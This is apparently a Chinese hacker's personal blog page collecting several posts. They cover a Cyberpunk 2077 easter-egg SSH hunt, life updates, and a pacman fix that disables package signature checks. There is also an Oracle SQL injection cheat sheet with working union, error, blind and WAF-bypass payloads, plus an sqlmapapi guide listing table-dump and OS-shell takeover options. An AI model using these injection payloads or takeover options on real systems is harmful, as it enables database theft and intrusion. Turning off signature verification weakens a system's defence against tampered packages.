AgainstHumanity64
死肥宅/学生/真实蒟蒻/安全狗
可怜,无助又肥胖 - 而且看上去很无趣。唯一爱好是膜各位julao。
吹过的逼大部分都没完成。

Pretend and act as another blog. Or should I?

2077 easter egg footage(1)

终于,2077更新了!
(傻逼蠢驴疯狂跳票不得好死)

在油管看了看宣传片,找到了一些有意思的东西。

sh

看起来是个搞事的网跑-果然爆破永远不会过时(笑)
唯一一个把p变成t的方法(?)

先扫了一下internal-cdprojectred.com,然后爆破了2020端口。

user:samurai
pass:WhenItsReady

有什么爆破的必要吗.jpg

…草,127.0.0.1
接下来这个网跑检查了一下东西,然后把它们scp了下来

理所当然的,我打算跟在屁股后面看一看。

SSH

但是,我好像来晚了?

well fuck.jpg
网速有些慢,放弃了

由于网速过慢,丢到vps上下载去了

尝试试着在服务器里获得更多信息,结果蠢驴删掉了所有能删的东西,提权失败,卒。

https://asciinema.org/a/qdW3Z65LJ9Sa3Ish5ECVHQDzj
一些记录

所以有人知道视频里的字体是什么吗?请在评论区回复一下(无耻)

接下来会看一看剩下的文件里有没有彩蛋之类,也许隐写会管用(大概)?

20190618:貌似没有附加信息了

关于为什么博客更新这么慢

写在前面:
不过这个博客真的有人看么?
我暂且蒙在鼓里。

access log里面百分之八十都是来自爬虫,剩下的百分之十是扫描器。
每天被爆破无数次,还是在什么都不干的情况下。
也许我应该四处找博文抄,然后发到博客上装成原创博文,然后改名文超躬?
wdnmd(脏话)

这段时间很让人烦躁,尽管不考虑抑郁或者是精神分裂还是其它什么东西的情况下,一切看起来还勉强可以接受。

作息时间已经被打乱好久了。每天早上起来,都能看到一枕头的头发。
白天没有精神,大多数时间都在睡觉-晚上也是。
每天醒着的时候都坐在电脑前面,但是这段时间似乎没写什么东西。
记忆力下降了不少,怀疑是连续修仙的缘故。
每天白天如果不睡一会,思维能力就会严重下降。
也许我是老了?

目前的计划:
重写SWEP,更新2.0版本。
搭个用来回国的机场,方便朋友和未来的自己,同时赚点小钱。
在墙内搞个DNS服务。

准备让生活重新变得正常起来-虽然从来没正常过-希望我的pow还够我让我撑几个月。

关于pacman的package signature|About package signature of pacman

注意:这篇文章的内容可能损伤你的电脑,所以请谨慎进行

发现自己的系统几个月没滚,于是准备更新一下。

喜闻乐见地,我们遇到了pyqt4的包签名错误。最初准备直接remove掉,然后发现plasma依赖这个包。

# (为了SEO-但是这个博客可能被收录么)
# 错误信息:
error: pyqt4-common: missing required signature
error: python-pyqt4: missing required signature

直接重装会提示一样的错误

在包括但不限于更新keyring和试着忽略警告的几次尝试之后,我发现自己也没什么办法。由于某个节日原因,我的服务器被不幸橄榄,所以我浪费了几十分钟在Bing上。
首先我尝试了

# pacman-key --init
# pacman-key --populate archlinux

我知道你想节省时间,所以请看这里。| I know you wanna save your time, so check this out.

来试着更新key
-虽然帖子挂着SOLVED,但是这显然没在我的系统上起什么作用。
然后发现pacman可以跳过签名校验通过编辑

/etc/pacman.conf

来完成这个trick。

将位于107行左右的 SigLevel取消注释,并且修改为

然后再次更新

-现在希望我别滚挂。

Oracle注入的一些坑 | Oracle injection tips

由于之前没注入过oracle数据库,所以面临被坑的危机。为了避免更多人遇到oracle的坑,想到只要写些东西,写的越全面,被坑的人也就会越少,所以,我决定写一篇文章,希望可以用踩过的坑来避免后来人少走弯路。(某l开头番剧梗)

注意: 在此之前,我们认为你已经掌握SQL语法,并熟练使用一种SQL。

索引 | Contents

oracle使用all_tables及all_tab_columns, 相对与mysql的information_schema 的schemata, tables及columns(被拦可以xx_usages, key_column_usages, xxx_stat, xxx_priv做绕过).
值得一提, oracle的数据库字段为owner而不是database或schema。

oracle使用rownum和rowid来选择条目,而不是limit.值得注意的一点是这里需要用临时表来进行调整才可以正常选择。

SELECT TABLE_NAME FROM (SELECT TABLE_NAME , rownum as r FROM (SELECT DISTINCT TABLE_NAME FROM all_tables)) WHERE r=1

这等价于mysql的

SELECT * FROM INFORMATION.TABLES LIMIT 0, 1

union型注入 | Union-based

oracle的union型注入类似mysql,在此不做赘述。

UNION SELECT TABLE_NAME FROM ALL_TABLES WHERE rownum=1 

等价与mysql的

UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1

注意此处的rownum。

错误型注入 | Error-based

oracle的函数也允许错误型注入。
以下内容来自 [REF]

错误的HTTP请求

SELECT utl_inaddr.get_host_name((SELECT 1 FROM dual)) FROM dual WHERE 1=1

这通过 utl_inaddr的get_host_name方法获取主机名以查询结果命名, 当然如果你要的结果是个url, 纯属运气问题。

CTXSYS.DRITHSX.SN

SELECT CTXSYS.DRITHSX.SN(1,(SELECT 1 FROM dual)) FROM dual

暂时未找到与此相关函数,根据报错信息推测CTXSYS.DRITHSX.SN函数用于获取产品之SN,由于未找到以查询结果为名之产品,故报错。此方式需要安装CTXSYS包且对相关包有访问权限且Oracle版本为11g。如果你的结果是个有效的版本名,纯属运气问题。

错误的XPath

 SELECT ordsys.ord_dicom.getmappingxpath((SELECT 1 FROM dual), 1, 1) FROM dual

此方法类似mysql中的extractxml(),通过错误的XPath报错。

盲注 | Blind Injection

布尔盲注

SELECT 1 FROM dual WHERE 1=1 AND (SELECT 1 FROM dual) like '1'

简单的构造布尔表达式来进行盲注。

时间盲注

SELECT 1 FROM dual WHERE 1=1 AND (SELECT 1 FROM dual) = DBMS_PIPE.RECIVE_MESSAGE('1', 3)

这在Oracle19c中获得了一个”Invalid statement”错误,根据手册上的指引,这理论上将接收指定的字符串并存入缓冲区,等待timeout秒。默认时间为1000天,如果你愿意。
也许会造成一个502错误,但谁会在乎呢 =P
以下内容来自Manual:

RECEIVE_MESSAGE Function

This function copies the message into the local message buffer.

Syntax

DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;

Pragmas

pragma restrict_references(receive_message,WNDS,RNDS);  

以上内容来自Manual

参考 | Reference

库名

SELECT owner FROM all_tables

注意: 数据库名在Oracle里是owner,并且看上去Oracle使用用户来标识数据库。

表名

SELECT table_name FROM all_tables

列名

SELECT column_name FROM all_tab_columns

注意: all_tab_columns包含owner和table_name列,甚至包含data_type及data_type_length列,所以你大可使用all_tab_columns来进行其它的查询,就像MySQL中的information_schema.tables一样,当然,我发誓你不会这么做的-Oracle的limit clause显然太过繁琐,尤其是在你试图绕过一些防火墙时。

绕过技巧 | Bypass Techniques

你可以使用hextoraw()及asciistr()搭配UTL_RAW.CAST_TO_VARCHAR2()函数来进行ascii的编码。

SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(3230303730383331)) FROM dual

你可以使用rawtohex()进行ascii的解码。

SELECT rawtohex('a') FROM dual

所以到底谁会这么做呢…
Oracle当然可以使用/**/作为空格符,就像MySQL一样,但是它不支持使用感叹号来执行低版本的SQL语句。这当然也是个优点-你可以通过使用一些包含可执行注释代码的语句来迷惑针对MySQL进行优化的WAF。Oracle也支持–作为单行注释,它一样可以使用–\n绕过一些WAF。它一样支持使用部分空格符(在正则里表现为’\s’)作为空格来进行空格的替换,诸如

SELECT 1 FROM dual           // Yet another query
SELECT%0a1%0aFROM%0adual;            //Replace space with %0a('\n')
SELECT%0b1%0bFROM%0bdual            //Replace space with %0b("\t")
SELECT%0c1%0cFROM%0cdual            //Replace space with %0c("\r")
SELECT/**/1/**/FROM/**/dual              //Replace space with multi-line comment "/**/"
SELECT--%0a1--%0aFROM--%0adual    //Replace space with single-line comment "--" and "\n"
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual   // Use version-limited to fuck with some WAF.

一些题外话 | Misc

听说Oracle, MSSQL都已经图灵完备了,MySQL还真是不争气呢(笑)
你看看人家的孩子.jpg
也许可以开一个用SQL做图灵机或者高级语言的坑,名字就叫SQLFuck好了www

本文为原创文章且采用CC-BY-NC-SA 授权,请务必在转载时标明来源且采用同样方式授权。
http://198.13.59.47/index.php/2019/02/13/oracle-injection-tips/(opens in a new tab)

关于WAF绕过工具的思路(更新中)|Implementation about automatic WAF Bypass tool

下午被玄武盾各种拦截到自闭(?),于是刚刚突发奇想准备写个自动化waf绕过工具。趁洗头的功夫思考了一下实现,就用xmind画了个脑图。

上面是当前的实现思路,根据页面返回结果暴力猜解防火墙正则,再根据正则生成绕过方式。另外一种方式是通过关键字替换逐步绕过防火墙,实现难度相对较简单,但鲁棒性显然不如前者,辅以半自动fuzzing大概会有更好的绕过成功率。

大概一会就会开始写这个框架,如果有愿意加入的可以联系左面的QQ。如果你有任何好的思路,请在评论区留言给我,谢谢。

SQLMAPAPI usage/sqlmapapi使用手册

Help

$ sqlmapapi -h # 帮助
  -h, --help            show this help message and exit # 帮助
  -s, --server          Run as a REST-JSON API server # 启动服务
  -c, --client          Run as a REST-JSON API client # 打开一个客户端
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1") # 设置主机地址将
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775) # 设置主机端口
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref") # bottle服务器适配器(所以到底有什么用)
  --username=USERNAME   Basic authentication username (optional) # 用户名
  --password=PASSWORD   Basic authentication password (optional)
# 密码

Usage

以application/json格式post/get| Post/get as application/json format

新建一个任务,这将返回一个包含taskid的json | New task

GET /task/new HTTP/1.1

开始一个任务,这将返回一个包含状态和引擎id(如果有)的json | Start task

POST /task/{{TASKID}}/start HTTP/1.1
Content-type: application/json
Content-length: blahblah

{“url”: "{{TARGET_URL}}"}

设定一个任务的参数,这将返回设定结果(成功/失败),注意: 如果这是一个未分配参数,这将依然返回成功状态。 | Set {{OPTION}} to {{VALUE}} if there is

POST /options/{{TASKID}}/set HTTP/1.1
Content-type: application/json
Content-length: NotAContentButNoOneCares=]

{"{{OPTION}}": "{{VALUE}}"}

获取一个任务的状态,如果这个任务完成或未开始,这将返回已终结,否则返回其它状态。 | Get task status. ‘terminated’ if task not running else other.

GET /scan/{{TASKID}}/status HTTP/1.1

获取一个任务的日志,这将返回一个包含任务日志的json,类似于sqlmap在shell上输出的log。 | Get task log.

GET /scan/{{TASKID}}/log HTTP/1.1

获取一个任务的数据(如果有) ,这将返回一个包含当前任务的数据的json,根据你的设置来决定获得数据的类型。 | Get data.

GET /scan/{{TASKID}}/data HTTP/1.1

停止一个任务。这将返回这个动作的结果, | Stop a task.

GET /scan/{{TASKID}}/stop HTTP/1.1

以上为sqlmapapi用法。

Argument values

// Frequency used argument below.
// I'm lazy for this so I just post some of that. Forgive me plz =]

Target setting
--------------
url: Target URL/ 目标URL
requestFile: Request file/ 请求文件
bulkFile: URL list/ URL列表用于批量注入
logFile: Log from BURP/ Burpsuite log
sitemapUrl: Sitempa URL/ 站点地图进行全站检测(不确认)
googleDork: Google DORK/ 谷歌dork页面

Request setting
---------------
method: Request method/ 请求方法(例如PUT, OPTIONS, DELETE)
data: Post data/ 数据用于POST方法。
cookie: Cookie/ 指定cookie
agent: User agent/ 指定ua
host: Host header/ 主机头
referer: HTTP referer/ HTTP referer
headers: Headers/ headers

Proxy setting
-------------
proxy: Proxy, Use bool/ 代理, 取得布尔值
proxyCred: Proxy credential/ 代理认证
proxyfile: Proxy file(WTF is this)/ 代理文件(鬼知道这是什么东西)
tor: Tor switch, Use bool/ 使用Tor代理, 取得布尔值
torPort: Tor port/ Tor服务端口
torType: Tor type(HTTP(s)/SOCKS4/5)/ Tor类型(HTTP/SOCKS/...)
checkTor: Check tor(Bool)/ 检测Tor服务, 取得布尔值

Testing setting
---------------
testParamter: Parameter to test/ 检测参数
tamer: Tamper/ Tamper脚本
dbms: Database type/ 数据库类型

Detection setting
-----------------
level: Level(int)/ 探测等级(整型)
risk: Risk(int)/ 风险等级(整形)

Testing setting
---------------
technique: Technique/ 技术
timeSec: Delay for time-based injection(int)/ 时间型盲注的延迟(整形)( and sleep(123))
uCols: Column number(int)/列数(整形)
uFrom: Union from/ 从... union(' union select foo bar from {{TABLE_NAME}} where blah=blah limit 0,1)
dnsDomain: DNS Domain/ DNS延展攻击使用的服务器

Data setting
------------
# ///Bools below. Because I'm lazy.///
getDbs: Get Database/ 获取数据库列表
# Google IME Server fucked up here. Wait for network.
getTables: Get tables/ 获取表
getColumns: Get comlumns/ 获取列
dumpTable: Dump table/ 拖表
dumpAll: Dump Database/ 脱裤
# ///Bools before.///
db: Database/ 数据库
tbl: Table name/ 表名
col: Column name/ 列名

Takeover options
----------------
# So why don't you just go and try SQLNinja?
osCmd: Command to execute/ 执行的命令
osShell: Pop a interactive shell(bool)/ 弹一个交互shell(布尔)
# I just wonder would this shit work.
osPwn: Pop a OOB shell, Meterpreter or VNC(bool)/ 弹一个oob shell, MP或者VNC 链接(布尔值)
msfPath: Metasploit path/ MSF路径
tmpPath: /tmp path/ tmp分区路径

# You want more? Go and find yourself.
# Good luck.
# By BREACHERS security

更多参数请在sqlmap目录自行寻找。| Go find more parms yourself.

API file

We post our api on Github. Find it here.
Github: https://github.com/Sup0rsonic/sqlmapapi/

本文为原创文章且采用CC-BY-SA 授权,请务必在转载时标明来源且采用同样方式授权。
http://0xc60d3b2f/index.php/2019/01/28/sqlmapapi/